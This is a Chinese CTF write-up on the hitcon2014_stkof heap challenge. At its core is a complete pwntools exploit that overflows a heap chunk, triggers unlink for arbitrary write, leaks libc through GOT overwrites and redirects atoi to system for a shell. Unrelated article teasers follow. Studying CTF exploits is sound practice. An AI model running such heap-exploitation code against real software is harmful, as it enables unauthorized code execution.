【PWN · heap | unlink】hitcon2014_stkof

初学,通过一道题初步掌握unlink。不教学unlink的具体过程,仅是一篇wp记录笔记


前言

教学和具体过程可以看这个大佬的博客:

buuctf pwn hitcon2014_stkof 初识unlink_buuctf hitcon2014_stkof-CSDN博客


一、题目

fill函数可读大量字符,造成堆溢出。

可以通过unlink进行利用控制:

如果存在区域连续存放结构体指针存在堆溢出或其他漏洞修改结构体控制头部字段、常存在edit操作

最终效果:可以edit这些结构体指针区域的指针,再通过指针任意地址写

二、exp

from pwn import *
from pwn import p64
context(arch='amd64',log_level='debug')io=process('./pwn')
# io=remote('node4.buuoj.cn',25122)
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
free_got=elf.got['free']
free_plt=elf.plt['free']
atoi_got=elf.got['atoi']
atoi_plt=elf.plt['atoi']def fill(index,size,payload):io.sendline(b'2')io.sendline(str(index).encode())io.sendline(str(size).encode())io.send(payload)io.recvuntil(b'OK\n')def free(index):io.sendline(b'3')io.sendline(str(index).encode())def alloc(size):io.sendline(b'1')io.sendline(str(size).encode())cnt=int(io.recvuntil(b'\n',drop=True))io.recvuntil(b'OK\n')success('num of chunk:{}'.format(cnt))initptr=0x602140
# gdb.attach(io)
alloc(0x100) #为了触发输入输出缓冲区的malloc而操作,后面没用
# 构造伪chunk
# 但是大小和填充(就算正确构造了位置上的fake chunk,有时候还是会遇到double-link报错
alloc(0x20) alloc(0x80) # free掉的时候触发unlink##### 构造fake chunk、修改临近smallbin-chunk控制头部字段
chunk2_ptr=initptr+2*0x8 # 第二块,块数从1计
fd=chunk2_ptr-0x18; bk=chunk2_ptr-0x10
payload=p64(0)+p64(0x21)+p64(fd)+p64(bk) # fake chunk
# 很奇怪,这里构造fake chunk一不小心就会爆double-link的错误,不知道为什么
# payload=payload.rjust(0x60,b'a') 之前第二个开了0x60的大小,用b'a'填充开头但是报错。。。
payload+=p64(0x20)+p64(0x90) # 溢出修改chunk3的prev_size和(size+prev_inuse)构成unlink
fill(2,len(payload),payload)##### free smallbin-chunk触发unlink
free(3)
io.recvuntil(b'OK\n') 
# 之所以单独拿出来是因为后面篡改free后,要泄露地址,方便接收# chunk0指针改为指向puts_got,chunk1指针指向free_got
payload=p64(0)  #0x602138#0x602140     #0x602148     #0x602150     #0x602158 对应第0、1、2个chunk,也就是fill的index
payload+=p64(puts_got)+p64(free_got)+p64(0x602138)+p64(puts_got)
fill(2,len(payload),payload)# 修改free_got为puts_plt
payload=p64(puts_plt)
fill(1,len(payload),payload)# 泄露puts_got地址
free(3)
puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts real addr:{}'.format(hex(puts)))
io.recvuntil(b'OK\n') # 获得system、/bin/sh字符串的真实地址
libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh\x00'))# 思路1:
# 更改free为system,更改指针指向bin_sh,然后free该指针构成system('/bin/sh')
# 重新修改栈上内容
# payload=p64(0)  #0x602138#0x602140    #0x602144  对应第0、1个chunk指针
# payload+=p64(free_got)+p64(bin_sh)
# fill(2,len(payload),payload)
# payload=p64(system)
# fill(0,len(payload),payload)
# free(1)
# 成功getshell# 思路2:
# 更改atoi为system,手动输入/bin/sh字符串
# 重新修改栈上内容
payload=p64(0)
payload+=p64(atoi_got)
fill(2,len(payload),payload)
# 更改atoi为system
payload=p64(system)
fill(0,len(payload),payload)
raw_input()
io.sendline(b'/bin/sh\x00')
# 成功getshellio.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/161855.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python 之softmx 函数

文章目录 总的介绍小应用 总的介绍 Softmax函数是一个常用的激活函数,通常用于多类别分类问题中。它将一个实数向量转换为概率分布。这个函数的输出是一个概率分布,表示输入样本属于每个可能类别的概率。 给定一个具有 (K) 个不同数值的实数向量 z (z1…

为什么江西的彩礼高?

作为一名江西土生土长的娃,今天和大家聊一聊江西的彩礼为何如此高? 江西的彩礼之所以高,主要与江西省的传统文化习俗、经济条件及社会观念等因素有关。那么我们从传统文化,经济条件,社会观念这三点出发。 1.传统文化习…

前端的几种网络请求方式

网络请求 node编写接口 这里用到的几个包的作用 express:基于 Node.js 平台,快速、开放、极简的 Web 开发框架,官网:https://www.expressjs.com.cn/cors:用来解决跨域问题body-parser:可以通过 req.body…

分治法——找众数

分治法——找众数 要求: 寻找整数数组的众数,如果存在多个众数,则返回权值最小的那个 第一步: 要利用分治法找众数,首先就先要使数组有序。这里,我们用C语言库中的qsort进行快排: qsort(nums…

flink的安装与使用(ubuntu)

组件版本 虚拟机:ubuntu-20.04.6-live-server-amd64.iso flink:flink-1.18.0-bin-scala_2.12.tgz jdk:jdk-8u291-linux-x64.tar flink 下载 1、官网:https://flink.apache.org/downloads/ 2、清华镜像:https://mirr…

ICP学习记录

1. 流程图 ICP(一)原理详解_icp原理-CSDN博客 ICP算法详解——我见过最清晰的解释-CSDN博客 ICP算法理解-CSDN博客 ICP知识点梳理笔记_icp非凸_KalutSirocco的博客-CSDN博客 【精选】【图像配准】点云配准ICP算法介绍:基础流程、ICP算法…

基于SSM的社区智慧养老监护管理平台

末尾获取源码 开发语言:Java Java开发工具:JDK1.8 后端框架:SSM 前端:Vue 数据库:MySQL5.7和Navicat管理工具结合 服务器:Tomcat8.5 开发软件:IDEA / Eclipse 是否Maven项目:是 目录…

opencv复习(简短的一次印象记录)

2-高斯与中值滤波_哔哩哔哩_bilibili 1、均值滤波 2、高斯滤波 3、中值滤波 4、腐蚀操作 卷积核不都是255就腐蚀掉 5、膨胀操作 6、开运算 先腐蚀再膨胀 7、闭运算 先膨胀再腐蚀 8、礼帽 原始数据-开运算结果 9、黑帽 闭运算结果-原始数据 10、Sobel算子 左-右&#x…

【工具】Github统计代码行数工具推荐(VScode插件、兼容任何平台、不用下载安装包)

需求: 1)被要求统计代码行数; 2)不想打开Linux,懒得下载Windows版本GitStats; 3)打开了Linux但也不记得find命令行怎么用; 4)打开了Linux,装好了Gitstats但自…

解决gtihub访问不到的

解决gtihub访问不到的 小编一开始也是找不到git但是通过查询资料,最终也是找到了解决方式 据说git的ip地址通常会变化的,可以通过地址查询网站查询到git当前的ip https://sites.ipaddress.com/github.com/在输入框中github.com,然后搜索 在…

Linux笔记-对/dev/vda1和/dev/vda2的理解

首先是这张图: 对于: /dev/vda1和/dev/vda2 可以知道,这个机器是在虚拟机上的,从设备描述中可以看到,与IO有关。 问下ChatGPT 问:linux上 /dev/vda1 和 /dev/vda2是干嘛的 答: /dev/vda1和…

MATLAB和西门子SMART PLC UDP通信

MATLAB和SMART PLC的OPC通信请参考下面文章链接,这里不再赘述: MATLAB和西门子SMART PLC OPC通信-CSDN博客文章浏览阅读661次,点赞26次,收藏2次。西门子S7-200SMART PLC OPC软件的下载和使用,请查看下面文章Smart 200PLC PC Access SMART OPC通信_基于pc access smart的o…